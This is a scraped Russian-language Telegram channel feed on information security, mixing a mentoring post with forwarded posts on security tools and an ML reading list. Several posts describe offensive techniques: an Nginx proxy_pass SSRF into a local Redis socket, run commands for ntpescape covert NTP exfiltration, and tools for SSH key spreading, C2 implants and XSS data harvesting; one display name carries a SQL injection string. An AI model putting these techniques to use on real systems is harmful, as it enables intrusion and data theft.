Записки потомственного it'шника
275 subscribers
509 photos
40 videos
204 files
1.65K links
Краткость — сестра таланта.
Автоматизация — мать порядка.
Ransomware'щики — боги.
Батя — программист over 80+ level.
Мать — бухгалтер, соскачившая с цифр на контдитерские изделия.
Ну а я — бакалавр ИБ по собственной воле.
Update: уже магистр.
Download Telegram
Смотрел я вчера старенький фильм "На грани" 🐻 с Энтони Хопкинсом и вспомнил ситуацию, в которую как-то попал и я, а именно отбился с товарищем от туристической группы и два дня мы были одни, без какой-либо помощи, без нормального снаряжения, а еще лил дождь. И вот это натолкнуло меня на мысль, которую можно применить в команде ИБ, особенно если вы ее руководитель, или вы ментор какого-либо специалиста по ИБ.

Нынешнее "поколение ЕГЭ" привыкает отвечать по готовым скриптам ☑️ и теряет способность искать ответы самостоятельно. Критическое мышление тоже куда-то улетучивается. Поэтому так важно воспитывать этот навык у своих "падаванов". И для этого можно дать несколько советов:
1️⃣ Регулярно "пропадайте". Когда ваш подчиненный понимает, что тот, в кого он верил, исчез, ему остается только верить в себя и начать хоть что-то делать, а не ждать, когда добрый CISO всех спасет и возьмет ответственность на себя.
2️⃣ Не надо обсуждать проблемы - обсуждайте способы их решения, которые предложил ваш подчиненный. Если у него нет решения, возвращаемся в начало этого пункта.
3️⃣ Совершенно неважно, насколько решение вашего подчиненного хорошо. Ваша задача - перестроить его мозги так, чтобы он был всегда способен искать и находить решения проблем. Да, ваш опыт часто позволяет вам найти решение лучше, но незашоренность может помочь найти нестандартное решение. Этот принцип особенно активно проявляется в штабных киберучениях, в которых я всегда с самого начала говорю, что нет неправильных решений.
4️⃣ Никогда не надо говорить, правильное решение или неправильное. ИБ - это не ЕГЭ, где все просто. ИБ - это жизнь и никаких заранее известных ответов часто просто нет. Фокусировать подчиненных надо на смысле решаемой задаче, а не конкретном решении. Сегодня оно такое, завтра совсем иное. ИБ вообще вариативная штука.
5️⃣ Пусть подчиненные сами оценивают свои решения. Со временем придет и опыт, и уверенность, и экспертиза. В ИБ часто надо самому брать ответственность за свои же решения и переложить ее на кого-то не удастся. Чем раньше подчиненные это поймут, тем лучше.

ЗЫ. Тоже самое работает и с детьми и со студентами 😊

ЗЗЫ. Да, совсем тупые тоже бывают и с ними эта великолепная пятерка не работает. Но тут уж вам не повезло ☹️
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Blue (h/c)at Café (Женя Белкин '";DROP DATABASE db_name();--)
📝 Аудит спецификаций API на наличие уязвимостей логики

Продолжаем разговор про тестирование API. На этот раз не будет докера, мне было максимально лениво разбираться с Rust, не с игрой, а языком (Go для умных).

Инструмент, которым я буду сам пользоваться называется CherryBomb.

🗣 Краткое описание:

- Написан на Rust
- Имеет варианты запуска (info, normal, intrusive(не работает) , passive, full
- Требуется файл OpenAPI v3  в формате json (можете ваши yml переводить в него тут)

📌

Тестирование проводил всё на том же VAmPI

🗣 Использование:

cherrybomb --file openapi.json --profile full --ignore-tls-errors true -o report.json --format json


🗣 Репорт файл:

Жаль, что я не могу делать развёрнутые посты с несколькими скринами и подобным, но если кратко - умеет в читаемый вид (table), а также в формате json

📌

В скором времени напишу парсер в sarif или для defect dojo


🗣Работа с конфигурационным файлом:

У инструмента есть возможность запуска сканирования через конфигурационный файл

cherrybomb -c config.json


Пример для полного сканирования и авторизации через basic auth, с игнорированием ошибок tls и параметром логирования "normal":

{
"file" : "open-api.json",
"verbosity" : "normal,
"profile" : " "full",
"security": [{
"auth_type": "Basic",
"auth_value" : token_value,
"auth_scope" : scope_name
}],
"ignore_tls_errors" : true,
}



#opensource #devsecops
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
О, тогда такой финт можно и с docker.socket провернуть!
Forwarded from Cybred
Интересный факт: Nginx умеет проксировать запросы не только на HTTP, но и на локальные Unix-сокеты.

Вот у нас есть конфигурация
location ~ /static/(.*)/(.*.js) {
proxy_pass http://$1-example.s3.amazonaws.com/$2;
}

Разработчики используют ее, чтобы проксировать запросы на Javascript-файлы в S3-бакет. Мы контролируем ту часть URI, что идет после http://, поэтому можем использовать это, чтобы эксплуатировать SSRF или HTTP Splitting в чейне с другими уязвимостями, благодаря слабой регулярке.

НО! Мы хотим выжать из этого максимум и прокрутить что-то необычное, зная еще один интересный факт — на виртуалке, помимо Nginx, где-то рядом крутится еще и Redis.

А у него ещё и поднят свой сокет. Достаточно отправить в proxy_pass GET-запросом строку http://unix:/run/redis/redis.sock, и все, что идет после нее, попадет прямиком в Redis.

А вот как раскрутить это дальше, обойти механизмы защиты и добиться эксфильтрации — читаем в последней статье уходящего года из полюбившегося цикла с мисконфигами Nginx.

После прочтения, советую следом разобрать райтап с Uni CTF, где обыгрывался кейс не только с дампом, но и с RCE в сложном эксплойте с PHP https://www.hackthebox.com/blog/uni-ctf-2022-spell-orsterra-writeup.
👍1
Forwarded from linkmeup
​Очередное покаяние уровня "Да как я вообще раньше жил без этого" - проект Atuin. Замещает собой стандартный хистори лог консоли, позволяя вытворять какие-то совершенно неприличные вещи, вроде синхронизации истории между разными машинами.
Смело брать, ставить, привыкать и в конце года делать atuin stats year.
https://github.com/atuinsh/atuin
Forwarded from Real profit
SSH-Snake: is a self-propagating, self-replicating, file-less script that automates the post-exploitation task of SSH private key and host discovery
https://github.com/MegaManSec/SSH-Snake
Forwarded from Offensive Xwitter
😈 [ Steve Campbell @lpha3ch0 ]

I felt like httpx was missing the ability to parse Nmap reports for http/s services and it made more sense to create a standalone utility. Nmapurls parses Nmap xml reports and outputs a list of URL's.

🔗 https://github.com/sdcampbell/nmapurls

🐥 [ tweet ]
Forwarded from PWN AI
👋.

OWASP AI Exchange: руководство по защите и конфиденциальности ИИ.


В этом документе представлен комплексный обзор рисков ИИ на разных этапах:

1. Описание общих мер для защиты ИИ.
2. Угрозы при эксплуатации.
3. Угрозы на этапе разработки.
4. Угрозы безопасности приложений во время выполнения.

Более того, практически на каждом этапе можно рассмотреть т.н "особенности", с которыми можно иметь дело при реализации защищённого ИИ.

Пока что, данный документ находится на стадии разработки и всё-таки представляет более теоретическое описание с ссылками на стандарты и рекомендациями. Думаю его разбавят инструментами :)
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Cybred
https://github.com/evallen/ntpescape

ntpescape — это инструмент, позволяющий скрытно осуществлять эксфильтрацию данных с компьютера, использующего протокол сетевого времени (NTP).

Он содержит множество функций, которые делают процесс эксфильтрации очень сложным для обнаружения:
— все сообщения встраиваются в пакеты легитимного NTP-клиента и не содержат никакой дополнительной информации

— все передаваемые данные шифруются с помощью секретного ключа, поэтому антивирусы не смогут обнаружить передачу данных, поскольку они будут выглядеть статистически случайными

—
сервер-получатель отвечает на все отправленные клиентом пакеты так, как если бы он был настоящим NTP-сервером, отвечая реалистичными временными метками

—
получатель даже имитирует собственные обновления, случайным образом выбирая Stratum-1 NTP-сервер, с которого он периодически делает вид, что "обновляется"

—
все используемые данные слегка рандомизируются, чтобы имитировать реальные серверы и затруднить обнаружение пакетов с помощью IDS

Клонировать и собрать:
git clone git@github.com:evallen/ntpescape.git
make build


Запустить ресивер:
sudo ./recv


Отправить на него данные:
echo "hello, world" | ./send -d <put_server_here>:123 -tm 0 -tM 0
Forwarded from Cybred
В 2022 году ресерчер с ником mrd0x предложил для фишинга новую технику, которую назвал BItB (browser-in-the-browser).

Она заключается в том, чтобы оставлять скомпрометированную страницу входа как есть, но хукать нажатия на кнопки входа через Google, Microsoft и других OAuth-поставщиков, и, вместо оригинальной ссылки — подсовывать iframe на свой сайт, оформляя его как pop-up окно браузера.

Техника интересная, но использовать ее получится крайне редко. В то же время TrustedSec проводили свой ресерч и столкнулись с другой проблемой — им нужно было сохранять персистенс в браузере цели, чтобы тяжелый, заинжекченный в результате эксплуатации xss, скрипт, успевал полностью выполниться.

И решили, используя наработки mrd0x, пойти дальше — использовать схожую с BItB идею, но сделать буквально браузер в браузере — открывать iframe текущей страницы так, чтобы конечный пользователь этого не заметил. Все клики и переходы, которые он сделает в дальнейшем, будут не в оригинальной вкладке, а в iframe, который мы полностью контролируем.

Это совпало с закрытием публичного XSS Hunter, и теперь они представили свой. Он использует технику, про которую я писал выше, и выжимает максимум от XSS, собирая буквально все, что только можно:
— IP-адрес клиента, OS, браузер
— Пользовательский ввод (учетные данные, etc.)
— Посещенные страницы
— Куки (без флага HttpOnly)
— Local Storage
— Session Storage
— HTML-код посещенных страниц
— Скриншоты посещенных страниц
— Копии XHR и Fetch-вызовов (с помощью monkeypatch'инга) с методами, эндпоинтами, заголовками, телами запросов и ответами

Сервис назвали JS-Tap, а найти его можно тут https://github.com/hoodoer/JS-Tap.
Forwarded from CyberSecurityTechnologies (-CST-)
#tools
#Offensive_security
SSHD Based implant supporting tunneling mecanisms to reach the C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP)
https://github.com/lexfo/sshimpanzee
Forwarded from Cybred
Благодаря устаревшему OAuth-приложению, хакеры из Midnight Blizzard получили доступ ко всей электронной почте компании, включая руководителей, сотрудников юридического отдела и специалистов по кибербезопасности.


Статья от Hadess про вредоносные OAuth-приложения, по мотивам атаки https://blog.devsecopsguides.com/malicious-use-of-oauth-applications.

Скрытые вектора https://portswigger.net/research/hidden-oauth-attack-vectors

Кликабельный чеклист для пентеста https://www.syncubes.com/oauth2_threat_model

Базовые статьи:
— OAuth 2.0 Hacking Simplified — Part 1 — Understanding Basics
— OAuth 2.0 Hacking Simplified — Part 2 — Vulnerabilities and Mitigation
— Finding and Exploiting Unintended Functionality in Main Web App APIs
👍1
Forwarded from Open Source
This media is not supported in your browser
VIEW IN TELEGRAM
MiroTalk SFU

MiroTalk SFU — это бесплатная платформа WebRTC с открытым исходным кодом для видеоконференций в реальном времени.

Он поддерживает разрешение до 4K и совместим со всеми основными браузерами и платформами.

Функции включают в себя неограниченное количество конференц-залов, потоковое вещание в прямом эфире, перевод на 133 языка, защиту хоста, защиту комнаты паролем, общий доступ к экрану, общий доступ к файлам, настраиваемые темы пользовательского интерфейса, интеграцию REST API и многое другое.

Пользователи могут присоединиться к комнате напрямую,
используя определенные ссылки или QR-код.

https://github.com/miroslavpejic85/mirotalksfu

Site: https://sfu.mirotalk.com/
Компиляция нескольких постов про то, что читать про ML/NLP/LLM:

Обучающие материалы 🗒
- https://habr.com/ru/articles/774844/
- https://lena-voita.github.io/nlp_course.html
- https://web.stanford.edu/~jurafsky/slp3/ed3book.pdf
- https://www.youtube.com/watch?v=rmVRLeJRkl4&list=PLoROMvodv4rMFqRtEuo6SGjY4XbRIVRd4
- https://huggingface.co/docs/transformers/perf_train_gpu_one

Блоги 🍿
- https://huggingface.co/blog/
- https://blog.eleuther.ai/
- https://lilianweng.github.io/
- https://oobabooga.github.io/blog/
- https://kipp.ly/
- https://mlu-explain.github.io/
- https://yaofu.notion.site/Yao-Fu-s-Blog-b536c3d6912149a395931f1e871370db

Прикладные курсы 👴
- https://github.com/yandexdataschool/nlp_course
- https://github.com/DanAnastasyev/DeepNLP-Course
(Я давно не проходил вообще никакие курсы, если есть что-то новое и хорошее - пишите!)

Каналы 🚫
- https://t.me/gonzo_ML
- https://t.me/izolenta_mebiusa
- https://t.me/tech_priestess
- https://t.me/rybolos_channel
- https://t.me/j_links
- https://t.me/lovedeathtransformers
- https://t.me/seeallochnaya
- https://t.me/doomgrad
- https://t.me/nadlskom
- https://t.me/dlinnlp
(Забыл добавить вас? Напишите в личку, список составлялся по тем каналам, что я сам читаю)

Чаты 😁
- https://t.me/betterdatacommunity
- https://t.me/natural_language_processing
- https://t.me/LLM_RNN_RWKV
- https://t.me/ldt_chat

Основные статьи 😘
- Word2Vec: Mikolov et al., Efficient Estimation of Word Representations in Vector Space https://arxiv.org/pdf/1301.3781.pdf
- FastText: Bojanowski et al., Enriching Word Vectors with Subword Information https://arxiv.org/pdf/1607.04606.pdf
- Attention: Bahdanau et al., Neural Machine Translation by Jointly Learning to Align and Translate https://arxiv.org/abs/1409.0473
- Transformers: Vaswani et al., Attention Is All You Need https://arxiv.org/abs/1706.03762
- BERT: Devlin et al., BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding https://arxiv.org/abs/1810.0480
- GPT-2, Radford et al., Language Models are Unsupervised Multitask Learners https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf
- GPT-3, Brown et al, Language Models are Few-Shot Learners https://arxiv.org/abs/2005.14165
- LaBSE, Feng et al., Language-agnostic BERT Sentence Embedding https://arxiv.org/abs/2007.01852
- CLIP, Radford et al., Learning Transferable Visual Models From Natural Language Supervision https://arxiv.org/abs/2103.00020
- RoPE, Su et al., RoFormer: Enhanced Transformer with Rotary Position Embedding https://arxiv.org/abs/2104.09864
- LoRA, Hu et al., LoRA: Low-Rank Adaptation of Large Language Models https://arxiv.org/abs/2106.09685
- InstructGPT, Ouyang et al., Training language models to follow instructions with human feedback https://arxiv.org/abs/2203.02155
- Scaling laws, Hoffmann et al., Training Compute-Optimal Large Language Models https://arxiv.org/abs/2203.15556
- FlashAttention, Dao et al., FlashAttention: Fast and Memory-Efficient Exact Attention with IO-Awareness https://arxiv.org/abs/2205.14135
- NLLB, NLLB team, No Language Left Behind: Scaling Human-Centered Machine Translation https://arxiv.org/abs/2207.04672
- Q8, Dettmers et al., LLM.int8(): 8-bit Matrix Multiplication for Transformers at Scale https://arxiv.org/abs/2208.07339
- Self-instruct, Wang et al., Self-Instruct: Aligning Language Models with Self-Generated Instructions https://arxiv.org/abs/2212.10560
- Alpaca, Taori et al., Alpaca: A Strong, Replicable Instruction-Following Model https://crfm.stanford.edu/2023/03/13/alpaca.html
- LLaMA, Touvron, et al., LLaMA: Open and Efficient Foundation Language Models https://arxiv.org/abs/2302.13971
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Forwarded from CyberSecurityTechnologies (-CST-)
#tools
#Offensive_security
Proactive, Open source API security:
API discovery, Testing in CI/CD, Add custom tests, Sensitive data exposure
https://github.com/akto-api-security/akto